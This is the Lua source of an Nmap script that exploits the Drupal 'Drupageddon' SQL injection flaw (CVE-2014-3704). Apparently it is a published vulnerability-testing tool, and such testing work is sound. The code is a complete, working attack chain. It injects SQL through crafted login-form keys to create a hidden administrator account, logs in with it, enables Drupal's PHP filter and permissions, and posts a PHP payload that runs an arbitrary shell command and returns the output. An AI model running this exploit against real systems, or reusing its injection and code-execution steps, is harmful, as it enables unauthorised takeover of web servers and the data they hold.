1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
|
local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"
local url = require "url"
local vulns = require "vulns"
local openssl = require "openssl"
local rand = require "rand"
description = [[
Exploits CVE-2014-3704 also known as 'Drupageddon' in Drupal. Versions < 7.32
of Drupal core are known to be affected.
Vulnerability allows remote attackers to conduct SQL injection attacks via an
array containing crafted keys.
The script injects new Drupal administrator user via login form and then it
attempts to log in as this user to determine if target is vulnerable. If that's
the case following exploitation steps are performed:
* PHP filter module which allows embedded PHP code/snippets to be evaluated is enabled,
* permission to use PHP code for administrator users is set,
* new article which contains payload is created & previewed,
* cleanup: by default all DB records that were added/modified by the script are restored.
Vulnerability originally discovered by Stefan Horst from SektionEins.
Exploitation technique used to achieve RCE on the target is based on exploit/multi/http/drupal_drupageddon Metasploit module.
]]
---
-- @see http-sql-injection.nse
--
-- @usage
-- nmap --script http-vuln-cve2014-3704 --script-args http-vuln-cve2014-3704.cmd="uname -a",http-vuln-cve2014-3704.uri="/drupal" <target>
-- nmap --script http-vuln-cve2014-3704 --script-args http-vuln-cve2014-3704.uri="/drupal",http-vuln-cve2014-3704.cleanup=false <target>
--
-- @output
-- PORT STATE SERVICE REASON
-- 80/tcp open http syn-ack
-- | http-vuln-cve2014-3704:
-- | VULNERABLE:
-- | Drupal - pre Auth SQL Injection Vulnerability
-- | State: VULNERABLE (Exploitable)
-- | IDs: CVE:CVE-2014-3704
-- | The expandArguments function in the database abstraction API in
-- | Drupal core 7.x before 7.32 does not properly construct prepared
-- | statements, which allows remote attackers to conduct SQL injection
-- | attacks via an array containing crafted keys.
-- |
-- | Disclosure date: 2014-10-15
-- | Exploit results:
-- | Linux debian 3.2.0-4-amd64 #1 SMP Debian 3.2.51-1 x86_64 GNU/Linux
-- | References:
-- | https://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html
-- | https://www.drupal.org/SA-CORE-2014-005
-- | http://www.securityfocus.com/bid/70595
-- |_ https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-3704
--
-- @args http-vuln-cve2014-3704.uri Drupal root directory on the website. Default: /
-- @args http-vuln-cve2014-3704.cmd Shell command to execute. Default: nil
-- @args http-vuln-cve2014-3704.cleanup Indicates whether cleanup (removing DB
-- records that was added/modified during
-- exploitation phase) will be done.
-- Default: true
---
author = "Mariusz Ziulek <mzet()owasp org>"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"vuln", "intrusive", "exploit"}
portrule = shortport.http
--- Appends a new multipart/form-data part to a table
local function multipart_append_data(r, k, data, extra)
r[#r + 1] = string.format("content-disposition: form-data; name=\"%s\"", k)
if extra.filename then
r[#r + 1] = string.format("; filename=\"%s\"", extra.filename)
end
if extra.content_type then
r[#r + 1] = string.format("\r\ncontent-type: %s", extra.content_type)
end
if extra.content_transfer_encoding then
r[#r + 1] = string.format("\r\ncontent-transfer-encoding: %s", extra.content_transfer_encoding)
end
r[#r + 1] = string.format("\r\n\r\n%s\r\n", data)
end
--- Creates multipart/form-data message as defined in RFC 2388
local function multipart_build_body(content, boundary)
local r = {}
local k, v
for k, v in pairs(content) do
r[#r + 1] = string.format("--%s\r\n", boundary)
if type(v) == "string" then
multipart_append_data(r, k, v, {})
elseif type(v) == "table" then
if v.data == nil then return nil end
local extra = {
filename = v.filename or v.name,
content_type = v.content_type or v.mimetype or "application/octet-stream",
content_transfer_encoding = v.content_transfer_encoding or "binary",
}
multipart_append_data(r, k, v.data, extra)
else
return nil
end
end
r[#r + 1] = string.format("--%s--\r\n", boundary)
return table.concat(r)
end
local function extract_CSRFtoken(content)
local pattern = 'name="form_token" value="(.-)"'
local value = string.match(content, pattern)
return value
end
local function itoa64(index)
local itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
return string.sub(itoa64, index + 1, index + 1)
end
local function phpass_encode64(input)
local count = #input + 1
local out = {}
local cur = 1
while cur < count do
local value = string.byte(input, cur)
cur = cur + 1
table.insert(out, itoa64(value & 0x3f))
if cur < count then
value = value | (string.byte(input, cur) << 8)
end
table.insert(out, itoa64((value >> 6) & 0x3f))
if cur >= count then
break
end
cur = cur + 1
if cur < count then
value = value | (string.byte(input, cur) << 16)
end
table.insert(out, itoa64((value >> 12) & 0x3f))
if cur >= count then
break
end
cur = cur + 1
table.insert(out, itoa64((value >> 18) & 0x3f))
end
return table.concat(out)
end
local function gen_passwd_hash(passwd)
local iter = 15
local iter_char = itoa64(iter)
local iter_count = 1<<iter
local salt = rand.random_alpha(8)
local md5 = openssl.md5(salt .. passwd)
for i = 1, iter_count do
md5 = openssl.md5(md5 .. passwd)
end
local dgst = phpass_encode64(md5)
local h = '$P$' .. iter_char .. salt .. string.sub(dgst, 0, 22)
return h
end
local function do_sql_query(host, port, uri, user)
local adminRole = 'administrator'
local sql_user
local sql_admin
local passwd
local email
local passHash
local query
if user == nil then
user = rand.random_alpha(10)
passwd = rand.random_alpha(10)
passHash = gen_passwd_hash(passwd)
email = rand.random_alpha(8) .. '@' .. rand.random_alpha(5) .. '.' .. rand.random_alpha(3)
stdnse.debug(1, string.format("adding admin user (username: '%s'; passwd: '%s')", user, passwd))
sql_user = url.escape("insert into users (uid,name,pass,mail,status) select max(uid)+1,'" .. user .. "','" .. passHash .. "','" .. email .. "',1 from users;")
sql_admin = url.escape("insert into users_roles (uid, rid) VALUES ((select uid from users where name='" .. user .. "'), (select rid from role where name = '" .. adminRole .. "'));")
query = sql_user .. sql_admin
else
stdnse.debug(1, string.format("removing admin user (username: '%s')", user))
sql_user = url.escape("delete from users where name='" .. user .. "';")
sql_admin = url.escape("delete from users_roles where uid=(select uid from users where name='" .. user .. "');")
query = sql_admin .. sql_user
end
local r = "name[0;" .. query .. "#%20%20]=" .. rand.random_alpha(10) .. "&name[0]=" .. rand.random_alpha(10) .. "&pass=" .. rand.random_alpha(10) .. "&form_id=user_login&op=Log+in"
local opt = {
header = {
['Content-Type'] = "application/x-www-form-urlencoded"
}
}
local res = http.post(host, port, uri .. "?q=/user/login", opt, nil, r)
if string.match(res.body, "includes[\\/]database[\\/]database%.inc") and string.match(res.body, "addcslashes%(%)") then
return user, passwd
end
end
local function set_php_filter(host, port, uri, session, disable)
-- enable PHP filter
if not disable then
stdnse.debug(1, "enabling PHP filter module")
else
stdnse.debug(1, "disabling PHP filter module")
end
local opt = {}
opt['cookies'] = session.name ..'='.. session.value
local res = http.get(host, port, uri .. "?q=/admin/modules", opt)
if res == nil then return nil end
local csrfToken = extract_CSRFtoken(res.body)
local enabledModulesPattern = 'name="([^"]*)" value="1" checked="checked" class="form%-checkbox"'
local data = {}
for m in string.gmatch(res.body, enabledModulesPattern) do
data[m] = 1
if disable and m == 'modules[Core][php][enable]' then
data[m] = nil
end
end
if not disable then
data['modules[Core][php][enable]'] = 1
end
data['form_token'] = csrfToken
data['form_id'] = 'system_modules'
data['op'] = 'Save configuration'
res = http.post(host, port, uri .. "?q=/admin/modules/list/confirm", opt, nil, data)
if res == nil then return nil end
return true
end
local function set_permission(host, port, uri, session, disable)
-- allow Administrator to use php_code
if not disable then
stdnse.debug(1, "setting permissions for PHP filter module")
else
stdnse.debug(1, "restoring permissions for PHP filter module")
end
local opt = {}
opt['cookies'] = session.name ..'='.. session.value
local res = http.get(host, port, uri .. "?q=/admin/people/permissions", opt)
if res == nil then return nil end
local csrfToken = extract_CSRFtoken(res.body)
local enabledPermsRegex = 'name="([^"]*)" value="([^"]*)" checked="checked"'
local data = {}
for key, value in string.gmatch(res.body, enabledPermsRegex) do
data[key] = value
if disable and key == '3[use text format php_code]' then
data[key] = nil
end
end
if not disable then
data['3[use text format php_code]'] = 'use text format php_code'
end
data['form_token'] = csrfToken
data['form_id'] = 'user_admin_permissions'
data['op'] = 'Save permissions'
res = http.post(host, port, uri .. "?q=/admin/people/permissions", opt, nil, data)
if res == nil then return nil end
return true
end
local function trigger_exploit(host, port, uri, session, cmd)
local opt = {}
opt['cookies'] = session.name ..'='.. session.value
-- add new Content page & trigger RCE
stdnse.debug(1, string.format("%s", "creating new article page with planted payload"))
local res = http.get(host, port, uri .. "?q=/node/add/article", opt)
if res == nil then return nil end
local csrfToken = extract_CSRFtoken(res.body)
stdnse.debug(1, string.format("%s", "calling preview article page & triggering exploit"))
local pattern = '"' .. rand.random_alpha(5)
local payload = "<?php echo '" .. pattern .. " '; system('" .. cmd .. "'); echo '".. pattern .. " '; ?>"
local boundary = rand.random_alpha(16)
opt['header'] = {}
opt['header']["Content-Type"] = "multipart/form-data" .. "; boundary=" .. boundary
local files = {
['title'] = 'title',
['form_id'] = 'article_node_form',
['form_token'] = csrfToken,
['body[und][0][value]'] = payload,
['body[und][0][format]'] = 'php_code',
['op'] = 'Preview',
}
local body = multipart_build_body(files, boundary)
res = http.post(host, port, uri .. "?q=/node/add/article", opt, nil, body)
if res == nil then return nil end
return res.body, pattern
end
action = function(host, port)
local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or '/'
local cmd = stdnse.get_script_args(SCRIPT_NAME..".cmd") or nil
local cleanup = nil
if stdnse.get_script_args(SCRIPT_NAME..".cleanup") == "false" then
cleanup = "false"
end
local vulnReport = vulns.Report:new(SCRIPT_NAME, host, port)
local vuln = {
title = 'Drupal - pre Auth SQL Injection Vulnerability',
state = vulns.STATE.NOT_VULN,
description = [[
The expandArguments function in the database abstraction API in
Drupal core 7.x before 7.32 does not properly construct prepared
statements, which allows remote attackers to conduct SQL injection
attacks via an array containing crafted keys.
]],
IDS = {CVE = 'CVE-2014-3704'},
references = {
'https://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html',
'https://www.drupal.org/SA-CORE-2014-005',
'http://www.securityfocus.com/bid/70595',
},
dates = {
disclosure = {year = '2014', month = '10', day = '15'},
},
}
local user, passwd = do_sql_query(host, port, uri, nil)
if user == nil or passwd == nil then
return vulnReport:make_output(vuln)
end
stdnse.debug(1, string.format("logging in as admin user (username: '%s'; passwd: '%s')", user, passwd))
vuln.state = vulns.STATE.EXPLOIT
local data = {
['name'] = user,
['pass'] = passwd,
['form_id'] = 'user_login',
['op'] = 'Log in',
}
local res = http.post(host, port, uri .. "?q=/user/login", nil, nil, data)
if res.status == 302 and res.cookies[1].name ~= nil then
stdnse.debug(1, string.format("logged in as admin user (username: '%s'; passwd: '%s'). Target is vulnerable.", user, passwd))
if cmd ~= nil then
local session = {}
session.name = res.cookies[1].name
session.value = res.cookies[1].value
set_php_filter(host, port, uri, session, false)
set_permission(host, port, uri, session, false)
local resp_content, pattern = trigger_exploit(host, port, uri, session, cmd)
local cmdOut = nil
for m in string.gmatch(resp_content, pattern .. '([^"]*)' .. pattern) do
cmdOut = m
break
end
if cmdOut ~= nil then
vuln.exploit_results = cmdOut
end
-- cleanup: restore permission & disable php filter module
if cleanup == nil then
set_permission(host, port, uri, session, true)
set_php_filter(host, port, uri, session, true)
end
end
else
vuln.state = vulns.STATE.LIKELY_VULN
vuln.check_results = "Account created but unable to log in."
end
-- cleanup: remove admin user
if cleanup == nil then
do_sql_query(host, port, uri, user)
end
return vulnReport:make_output(vuln)
end
|